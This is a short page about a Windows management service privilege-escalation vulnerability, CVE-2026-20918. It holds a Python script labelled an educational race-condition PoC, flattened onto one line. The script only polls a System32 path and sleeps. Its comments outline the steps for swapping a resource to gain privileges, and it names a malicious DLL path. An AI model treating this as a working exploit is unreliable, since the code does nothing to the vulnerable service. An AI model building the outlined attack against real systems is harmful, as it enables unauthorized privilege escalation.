CVE-2026-20918 Windows管理服务本地权限提升漏洞

# CVE-2026-20918 Race Condition PoC (Educational Purpose Only) # This code demonstrates the concept of TOCTOU race condition # DO NOT use for malicious purposes import os import sys import time import threading import subprocess from pathlib import Path def monitor_resource(target_path, stop_event): """Monitor target resource for changes""" while not stop_event.is_set(): if not Path(target_path).exists(): print(f"[Monitor] Resource {target_path} not found") time.sleep(0.001) def exploit_race_condition(target_service, malicious_payload_path): """ Conceptual race condition exploit demonstration In real scenario, this would target Windows Management Services """ print(f"[*] Starting race condition attack on {target_service}") print(f"[*] Malicious payload: {malicious_payload_path}") # Note: This is a conceptual demonstration # Actual exploitation requires specific Windows internals knowledge # and would target the specific vulnerable code path in WMS stop_event = threading.Event() monitor_thread = threading.Thread( target=monitor_resource, args=(f"C:\\Windows\\System32\\{target_service}", stop_event) ) monitor_thread.start() try: # Attempt to trigger the race condition # In practice, this would involve: # 1. Triggering the vulnerable service operation # 2. Rapidly swapping the target resource # 3. Achieving privilege escalation print("[*] Attempting race condition window...") time.sleep(0.1) finally: stop_event.set() monitor_thread.join() print("[-] Race condition window closed") if __name__ == "__main__": print("CVE-2026-20918 Educational Demonstration") print("This script is for learning purposes only") # Replace with actual service name and payload path exploit_race_condition("wmiservice.exe", "C:\\temp\\malicious.dll")